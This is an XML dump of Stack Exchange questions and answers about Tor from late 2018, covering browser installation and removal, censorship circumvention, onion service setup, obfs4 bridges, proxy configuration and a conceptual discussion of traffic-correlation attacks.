  <row Id="17954" PostTypeId="2" ParentId="9935" CreationDate="2018-10-31T02:03:41.987" Score="1" Body="&lt;p&gt;on Ubuntu 18.10 it works now ... just get into dir once download is expanded&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd ~/src/tor-browser-linux64-8.0.3_en-US/tor-browser_en-US&#xA;./start-tor-browser.desktop --help  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which suggests you issue&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./start-tor-browser.desktop  --register-app&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Launching './Browser/start-tor-browser --detach --register-app'...&#xA;  Tor Browser has been registered as a desktop app for this user in ~/.local/share/applications/&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;now you have registered the app so its searchable + launchable from dash so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Show applications -&amp;gt; tor   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so launching from dash is possible ... from terminal just cat out above mentioned file &lt;code&gt;./start-tor-browser.desktop&lt;/code&gt; and look for line with &lt;code&gt;Exec&lt;/code&gt; which looks like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Exec=sh -c '&quot;/home/ota/src/tor-browser-linux64-8.0.3_en-US/tor-browser_en-US/Browser/start-tor-browser&quot; --detach || ([ !  -x &quot;/home/ota/src/tor-browser-linux64-8.0.3_en-US/tor-browser_en-US/Browser/start-tor-browser&quot; ] &amp;amp;&amp;amp; &quot;$(dirname &quot;$*&quot;)&quot;/Browser/start-tor-browser --detach)' dummy %k&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so to launch directly from terminal issue&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/home/ota/src/tor-browser-linux64-8.0.3_en-US/tor-browser_en-US/Browser/start-tor-browser&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;adjust your downloaded dir as mine is &lt;code&gt;/home/ota/src/tor-browser-linux64-8.0.3_en-US/&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="17424" LastEditorUserId="17424" LastEditDate="2018-10-31T02:11:08.607" LastActivityDate="2018-10-31T02:11:08.607" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17959" PostTypeId="1" CreationDate="2018-11-01T05:15:53.180" Score="2" ViewCount="4565" Body="&lt;p&gt;I'd like to uninstall Tor but can't. I've deleted the desktop links and that didn't do it. I've searched my system for any other instances of &quot;Tor&quot; but the only remaining file is the installation executable file. When I try to bring up firefox the Tor browser comes up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd sure appreciate some help. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="23455" LastEditorUserId="5234" LastEditDate="2018-11-06T17:09:32.770" LastActivityDate="2020-04-20T11:36:24.843" Title="How can I uninstall Tor from Windows 10?" Tags="|tor-browser-bundle|windows|tor-install|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17960" PostTypeId="1" CreationDate="2018-11-01T16:42:43.073" Score="1" ViewCount="165" Body="&lt;p&gt;Sirs, Forgive me but I'm an unsophisticated end user unlike all the experts here.  I live in the USA.  I have a friend in China.  The &quot;Great Wall&quot; of China blocks all our attempts to communicate; e-mail, chat, if it's online you name it.  We only can communicate through an expensive proprietary chat service.  *****Can I use TOR to e-mail and/or chat with my friend in China?*****  How do I do it?  I assume my friend in China has to sign up too.  Is TOR available with instructions in Chinese?  I would be most grateful for any assistance.  If it works, I will be more than happy to donate to TOR.  Thank you in advance.&lt;/p&gt;&#xA;" OwnerUserId="23458" LastActivityDate="2019-01-03T03:02:10.440" Title="Can I use TOR for chat or e-mail with China?" Tags="|help|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17961" PostTypeId="1" CreationDate="2018-11-01T17:13:43.353" Score="0" ViewCount="13353" Body="&lt;p&gt;I just installed Tor and on the page I see a place to type questions into something called DuckDuckGo,  but not “tor browser”.  Am I missing something? &lt;/p&gt;&#xA;" OwnerUserId="23459" LastEditorDisplayName="user6671" LastEditDate="2019-02-21T22:33:51.537" LastActivityDate="2021-05-31T00:04:52.047" Title="What is DuckDuckGo and how is it related to Tor browser?" Tags="|browsers|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17964" PostTypeId="2" ParentId="17961" CreationDate="2018-11-02T15:16:51.683" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Browser&lt;/a&gt; is a &lt;a href=&quot;https://en.wikipedia.org/wiki/Web_browser&quot; rel=&quot;nofollow noreferrer&quot;&gt;webbrowser&lt;/a&gt; focused on privacy and anonymous communication.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/DuckDuckGo&quot; rel=&quot;nofollow noreferrer&quot;&gt;DuckDuckGo&lt;/a&gt; is a &lt;a href=&quot;https://en.wikipedia.org/wiki/Web_search_engine&quot; rel=&quot;nofollow noreferrer&quot;&gt;web search&lt;/a&gt; which respects your privacy, avoids a filter bubble and even provides a &lt;a href=&quot;https://en.wikipedia.org/wiki/Tor_(anonymity_network)#Hidden_services&quot; rel=&quot;nofollow noreferrer&quot;&gt;hidden service&lt;/a&gt;: &lt;a href=&quot;http://3g2upl4pq6kufc4m.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://3g2upl4pq6kufc4m.onion/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5234" LastEditorDisplayName="user6671" LastEditDate="2019-01-01T22:47:08.987" LastActivityDate="2019-01-01T22:47:08.987" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17965" PostTypeId="1" CreationDate="2018-11-03T03:59:56.997" Score="1" ViewCount="140" Body="&lt;p&gt;&lt;strong&gt;Specification&lt;/strong&gt;:&lt;br&gt;&#xA;OS: Ubuntu 16.04&lt;br&gt;&#xA;Tor Browser Bundle: upgraded from 7.x to 8.0.3 (latest version)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Issue (summary)&lt;/strong&gt;:&lt;br&gt;&#xA;&lt;code&gt;FileChooser.show-hidden&lt;/code&gt; is set to &lt;code&gt;false&lt;/code&gt; after save and open dialog is canceled or saved/opened. (this &quot;registry&quot; key determines whether or not hidden files are shown in Nautilus, the default file manager for Ubuntu)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;:&lt;br&gt;&#xA;How do I prevent TBB from setting &lt;code&gt;org.gtk.Settings.FileChooser&lt;/code&gt; to &lt;code&gt;false&lt;/code&gt; after save and open dialog is canceled or saved/opened?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gsettings get org.gtk.Settings.FileChooser show-hidden&#xA;&amp;gt; true&#xA;&#xA;  - open tor browser&#xA;  - use control+o or control+s&#xA;&#xA;  - Close the dialog (using 'x' in the corner OR save to a file OR open a file)&#xA;&#xA;$ gsettings get org.gtk.Settings.FileChooser show-hidden&#xA;&amp;gt; false&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21057" LastEditorUserId="21057" LastEditDate="2019-01-19T05:55:10.237" LastActivityDate="2019-01-19T05:55:10.237" Title="Hidden files are hidden (reproducible)" Tags="|tor-browser-bundle|configuration|linux|ubuntu|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17967" PostTypeId="1" CreationDate="2018-11-03T16:59:51.503" Score="1" ViewCount="229" Body="&lt;p&gt;I'm reviewing the documents filtered by Snowden related to Tor. Two documents in particular, entitled &lt;a href=&quot;https://search.edwardsnowden.com/docs/ApotentialtechniquetodeanonymiseusersoftheTORnetwork(proposal)2014-12-28_nsadocs_snowden_doc&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;A potential technique to deanonymise users of the TOR network (proposal)&quot;&lt;/a&gt; and &lt;a href=&quot;https://search.edwardsnowden.com/docs/ApotentialtechniquetodeanonymiseusersoftheTORnetwork(presentation)2014-12-28_nsadocs_snowden_doc&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;A potential technique to deanonymise users of the TOR network (presentation)&quot;&lt;/a&gt; have caught my attention. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These documents propose &quot;a deanonymisation attack against Tor users based on the collection of data from exit nodes owned by the agency&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that the documents mention a classic attack: the 'traffic correlation attack' or 'end-to-end attack'. But, although the document says that the attacker must control the exit node to consummate the attack, it states that it is not necessary to control the entry node; instead, it proposes to collect the information between the client and the entry node through &quot;SIGINT&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wc2CZ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here you can find a screenshot of one of the documents where the attack is graphically represented&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How can information be collected between the client and the entry node by means of &quot;SIGINT&quot;. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On the other hand, I already know that one of the vulnerabilities of low latency anonymity networks, such as Tor, is the traffic correlation attack. That's why Tor introduced entry guards and changes the circuit every ten minutes. But has any further improvement been made to prevent this type of attack? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thank you. &lt;/p&gt;&#xA;" OwnerUserId="15985" LastActivityDate="2021-12-23T15:01:15.147" Title="End-to-End Attack Collecting Information Using SIGINT: How Is It Done?" Tags="|vulnerability|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17969" PostTypeId="2" ParentId="17960" CreationDate="2018-11-04T01:34:24.443" Score="1" Body="&lt;p&gt;Using Tor in China is very difficult. The Tor Project website itself is blocked, so your friend cannot even download the Tor Browser directly. Tor protocol is blocked. All the public Tor bridges are blocked. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to get Tor to work from China, you would need to download the Tor Browser needed by your friend and reupload it to a server somewhere your friend can get at it. Tor with meek, or Tor with a private unlisted bridge that you set up yourself, MAY then work in China.&lt;/p&gt;&#xA;" OwnerUserId="23160" LastActivityDate="2018-11-04T01:34:24.443" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17973" PostTypeId="1" CreationDate="2018-11-04T20:09:51.537" Score="1" ViewCount="419" Body="&lt;p&gt;I would like to upload some files to my &lt;code&gt;.onion&lt;/code&gt; website over FTP/SFTP securely however I cannot figure how to connect. Any help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have added the following to &lt;code&gt;/etc/tor/torrc&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/ftp-service/&#xA;HiddenServicePort 21 127.0.0.1:21&#xA;HiddenServicePort 2000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also added the SOCKS5 proxy &lt;code&gt;127.0.0.1:9150&lt;/code&gt; to my Filezilla Connection settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After I paste my &lt;code&gt;.onion&lt;/code&gt; link in the host field in Filezilla I get the following log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Connecting to MYONIONLINKHERE.onion through SOCKS5 proxy&#xA;Status:         Resolving address of 127.0.0.1&#xA;Status:         Connecting to 127.0.0.1:9150...&#xA;Status:         Connection with proxy established, performing handshake...&#xA;Error:          Proxy request failed. Reply from proxy: Connection refused&#xA;Error:          Could not connect to server&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23482" LastActivityDate="2018-11-04T20:09:51.537" Title="Connect to TOR serivce to upload files FTP/SFTP" Tags="|onion-services|socks|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17974" PostTypeId="1" CreationDate="2018-11-05T14:45:17.733" Score="5" ViewCount="2278" Body="&lt;p&gt;&lt;em&gt;(Stack Exchange’s system tells me that my question appears to be subjective and is likely to be closed. But judge for yourself if this is the case.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you remember when Google used text captchas only? When you were confronted with them whilst browsing with your normal browser (for example the normal Firefox browser), they were usually pretty easy to solve and did not cost much of your time. But once you were using a Proxy server or a Tor exit node, things &lt;strong&gt;could&lt;/strong&gt; have become very complicated. Some text captchas were downright &lt;strong&gt;impossible&lt;/strong&gt; to solve because it wasn’t even possible for a human to decipher the letters reCAPTCHA wanted you to enter. Unfortunately, I cannot find an example on the Internet right now which shows how they looked like but they consisted of unreadable computer-generated gibberish – and the characters were distorted to utter disfigurement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today, things tend to be different since Google uses its Street View pictures for captcha generation. But the problem still remains to be (pretty much) the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is, when browsing with your normal browser, solving a captcha like this should succeed most of the time:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GD3Jf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GD3Jf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the squares are numbered as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1 2 3&#xA;4 5 6&#xA;7 8 9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;, I pick &lt;code&gt;1&lt;/code&gt;, &lt;code&gt;4&lt;/code&gt; and &lt;code&gt;9&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next step looks like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3Ig3G.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3Ig3G.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and I pick &lt;code&gt;1&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After clicking on &lt;code&gt;1&lt;/code&gt;, it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RuEKH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RuEKH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The captcha has &lt;strong&gt;obviously&lt;/strong&gt; been solved &lt;strong&gt;correct&lt;/strong&gt; and I click on &lt;code&gt;VERIFY&lt;/code&gt;. But what does Google give me as an answer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NiVia.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NiVia.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happens &lt;strong&gt;more often than not&lt;/strong&gt; when using Tor. Sometimes I have to solve four or five captchas in order to proceed. It &lt;strong&gt;rarely&lt;/strong&gt; happens during normal browsing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Therefore&lt;/strong&gt;, I suppose that reCAPTCHA is &lt;strong&gt;lying&lt;/strong&gt; to Tor users and making it artificially and unnecessarily harder to solve captchas. This has &lt;strong&gt;nothing&lt;/strong&gt; to do with “stronger protection mechanisms”.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Do you think that this assessment is correct?&lt;/strong&gt; And if it is correct: What can we as Tor users do about it?&lt;/p&gt;&#xA;" OwnerUserId="22877" LastEditorUserId="22877" LastEditDate="2018-11-10T22:44:12.803" LastActivityDate="2018-11-24T07:13:42.830" Title="Are Google’s captchas often downright impossible to solve for Tor users because reCAPTCHA is *lying* to them?" Tags="|tor-browser-bundle|google|captcha|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17978" PostTypeId="1" CreationDate="2018-11-06T00:36:26.900" Score="0" ViewCount="625" Body="&lt;p&gt;I have successfully hosted my first .onion site on my Raspberry Pi by following &lt;a href=&quot;https://www.hackster.io/gulyasal/host-your-own-free-onion-website-using-raspbian-on-rpi3-2563e1&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; tutorial. For some reason I needed to stop running this site for a while. So I used this command &lt;code&gt;sudo /etc/init.d/tor stop&lt;/code&gt; to temporarily close this site and then I used &lt;code&gt;sudo /etc/init.d/tor start&lt;/code&gt;to start the website again. But it's not working and I'm not able to visit my .onion site again. I have tried restarting my Raspberry Pi and start again but still not working. I have also tried restarting lighttpd but still not working. I have also tried &lt;code&gt;sudo /etc/init.d/tor restart&lt;/code&gt; but still not working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And &lt;code&gt;sudo /etc/init.d/tor status&lt;/code&gt; shows my hidden service is active. But I'm not able to visit it anymore. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;● tor.service - Anonymizing overlay network for TCP (multi-instance-master)&#xA;   Loaded: loaded (/lib/systemd/system/tor.service; enabled; vendor preset: enabled)&#xA;   Active: active (exited) since Tue 2018-11-06 00:05:42 UTC; 14min ago&#xA;  Process: 328 ExecStart=/bin/true (code=exited, status=0/SUCCESS)&#xA; Main PID: 328 (code=exited, status=0/SUCCESS)&#xA;      CPU: 0&#xA;   CGroup: /system.slice/tor.service&#xA;&#xA;Nov 06 00:05:42 raspberrypi systemd[1]: Starting Anonymizing ove…..Nov 06 00:05:42 raspberrypi systemd[1]: Started Anonymizing over…).Hint: Some lines were ellipsized, use -l to show in full.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23493" LastEditorUserId="23493" LastEditDate="2018-11-06T00:42:12.273" LastActivityDate="2022-03-31T06:03:55.370" Title="My tor hidden service stopped working" Tags="|onion-services|raspberry-pi|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17981" PostTypeId="1" CreationDate="2018-11-06T11:30:20.290" Score="5" ViewCount="2788" Body="&lt;p&gt;By looking at a obfs4 bridge, we can see that it ends with &lt;code&gt;iat-mode=x&lt;/code&gt; which &lt;code&gt;x&lt;/code&gt; can be 0, 1 or 2.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Bridge obfs4 1.2.3.4:9443 0F2C3218 cert=FH+9dukjekdfhcn iat-mode=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does this &lt;code&gt;iat-mode&lt;/code&gt; indicates about a bridge?&lt;/p&gt;&#xA;" OwnerUserId="23500" LastActivityDate="2021-08-28T00:23:57.747" Title="What is iat-mode at the end of obfs4's bridge lines?" Tags="|bridge|obfs4|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17982" PostTypeId="2" ParentId="17959" CreationDate="2018-11-06T17:12:22.663" Score="1" Body="&lt;p&gt;I believe from your explanation you may have only removed shortcuts to the application, and the source files still remain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method 1 - Windows&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On &lt;em&gt;Control Panel&lt;/em&gt;, go to &lt;em&gt;Uninstall a Program&lt;/em&gt; and ensure there is no entry for TOR. If there is, uninstall from there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1.Click the search bar at the bottom right of the screen&#xA;2.Type Control Panel and click the obvious result&#xA;3.Locate &quot;Uninstall a program&quot; and click that&#xA;4.In the search bar, search &quot;Tor&quot;&#xA;5.If it appears, then remove it. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method 2 - Revo&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download a program such as &lt;em&gt;REVO Uninstaller&lt;/em&gt; then locate the program there, and click uninstall. This is a more thorough method of removing files than windows built in. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method 3 - Manual File Search&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few probable file locations to check is the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1.C:\Program Files&#xA;2.C:\Program Files (x86)&#xA;3.C:\Users\[Current User]\AppData *(YOU MAY NEED TO ENABLE HIDDEN FILES ON WINDOWS EXPLORER, VIEW TAB)*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Notes&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;You say that when you try to open FireFox, Tor comes up?&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;You could try right clicking the part you click to open FireFox, checking the properties and see if the link leads to TOR. &#xA;&#xA;On windows settings, in the search bar type &quot;Default&quot; and click &quot;Choose default web browser&quot;. Check what the default app is in there. &#xA;&#xA;If you did not accidentally/purposely set TOR as default browser, then your system could be compromised by a Virus. In which case run a few Virus scans and check. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23503" LastEditorUserId="23503" LastEditDate="2018-11-06T17:23:25.650" LastActivityDate="2018-11-06T17:23:25.650" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17986" PostTypeId="1" CreationDate="2018-11-08T14:35:43.637" Score="0" ViewCount="643" Body="&lt;p&gt;Can we use a raspberry pi for accessing .onion site with the tor config ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see some tutorials that add in that conf file &lt;/p&gt;&#xA;&#xA;&lt;p&gt;VirtualAddrNetwork&#xA;AutomapSuffixes .onion,.exit&#xA;AutomapOnResolve 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but that don't seem to work with my internet browser like firefox&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you any issues ?&lt;/p&gt;&#xA;" OwnerUserId="23325" LastEditorUserId="23325" LastEditDate="2018-11-14T00:25:35.530" LastActivityDate="2018-12-01T11:22:09.987" Title="How bowse .onion sites with a router (raspberrypi) without tor browser" Tags="|tor-browser-bundle|raspberry-pi|routers|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17987" PostTypeId="2" ParentId="17986" CreationDate="2018-11-08T19:09:44.430" Score="0" Body="&lt;p&gt;Could you decide if you want it without (title) or with (body) tor browser?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I would configure &lt;code&gt;SOCKSPort&lt;/code&gt; in tor and configure my browser to use it. Proxy autoconfig could be very helpful here, here is what I use with my firefox:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function FindProxyForURL(url, host)&#xA;{&#xA;  if(shExpMatch(host, &quot;*.onion&quot;))&#xA;  {&#xA;    return &quot;SOCKS &amp;lt;tor sock host&amp;gt;:9050&quot;;&#xA;  }&#xA;  else&#xA;  {&#xA;    return &quot;DIRECT&quot;;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT: You need network.proxy.socks_remote_dns set to true for this to work. I believe it is equivalent to setting &quot;Proxy DNS when using SOCKS v5&quot; in Preferences -&gt; General -&gt; Network Proxy -&gt; Settings... dialog.&lt;/p&gt;&#xA;" OwnerUserId="20437" LastEditorUserId="20437" LastEditDate="2018-12-01T11:22:09.987" LastActivityDate="2018-12-01T11:22:09.987" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17989" PostTypeId="2" ParentId="14885" CreationDate="2018-11-09T06:49:50.330" Score="5" Body="&lt;p&gt;So wierd. I faced this problem in my windows. I figured the issue could be similar with my tor browser aswell. The tor browser application is in a new folder in Desktop. Recently I move everything from my desktop to another new folder in my desktop. Started having this issue. I moved the files back to how it was and then tor started working. Bizarre. Hope this helps if anyone else is facing this issue on a windows.&lt;/p&gt;&#xA;" OwnerUserId="23517" LastActivityDate="2018-11-09T06:49:50.330" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17990" PostTypeId="2" ParentId="17967" CreationDate="2018-11-09T09:26:18.980" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How can information be collected between the client and the entry node by means of &quot;SIGINT&quot;. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If there is a large IXP (Internet eXchange Provider) between the client and the guard node, it may result in the Tor traffic going through an NSA/FVEY tap. This can either be done explicitly with a literal tap on undersea or other major cables, or in through compromised routers somewhere between the Tor client and the guard relay.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;But has any further improvement been made to prevent this type of attack? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are considerations to implement WTF-Pad, a pluggable transport that obfuscates packet timings intelligently. There has also already been a successful effort to add NetFlow padding. That is a newer technique which sends periodic &quot;pings&quot; to the guard relay, changing the behavior of an ISP's routers and causing them to log traffic flows in lower granularity.&lt;/p&gt;&#xA;" OwnerUserId="21937" LastActivityDate="2018-11-09T09:26:18.980" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17992" PostTypeId="2" ParentId="8668" CreationDate="2018-11-09T11:52:41.820" Score="2" Body="&lt;p&gt;To resolve this issue,&#xA;Open Tor browser =&gt; Click on &lt;strong&gt;Configure&lt;/strong&gt; button =&gt; select &lt;strong&gt;Tor is censored in my country&lt;/strong&gt; option =&gt; Click on &lt;strong&gt;Request a new Bridge&lt;/strong&gt; =&gt; enter captcha then click &lt;strong&gt;Submit&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you will get a Bridge as shown in below image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/U27pP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/U27pP.png&quot; alt=&quot;Tor Network Settings screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still, you face connection failure issue try Requesting a new Bridge as mentioned above.&lt;/p&gt;&#xA;" OwnerUserId="23520" LastActivityDate="2018-11-09T11:52:41.820" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17999" PostTypeId="1" AcceptedAnswerId="18007" CreationDate="2018-11-11T17:11:10.580" Score="0" ViewCount="266" Body="&lt;p&gt;I understand how to start up a TLD and host the website.&#xA;how do i host .onion on my top level domain name. Do we purchase the .onion?&#xA;Any suggestions on this question.&lt;/p&gt;&#xA;" OwnerUserId="21042" LastActivityDate="2018-11-14T14:39:10.547" Title="how do i host .onion on my top level domain name" Tags="|tor-browser-bundle|onion-routing|torsocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18001" PostTypeId="2" ParentId="9160" CreationDate="2018-11-12T14:22:33.327" Score="-1" Body="&lt;p&gt;On all raspberry pi's, I have found that downloading the source and then running the following commands&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd your/source/directory&#xA;sudo ./configure &amp;amp;&amp;amp; sudo make&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If all goes well, this will install TOR from source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: You may need some external libraries in order for this to work. I needed libevent and libopenssh&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then just run tor from the command line like so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23546" LastEditorUserId="71" LastEditDate="2018-12-20T22:42:50.693" LastActivityDate="2018-12-20T22:42:50.693" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
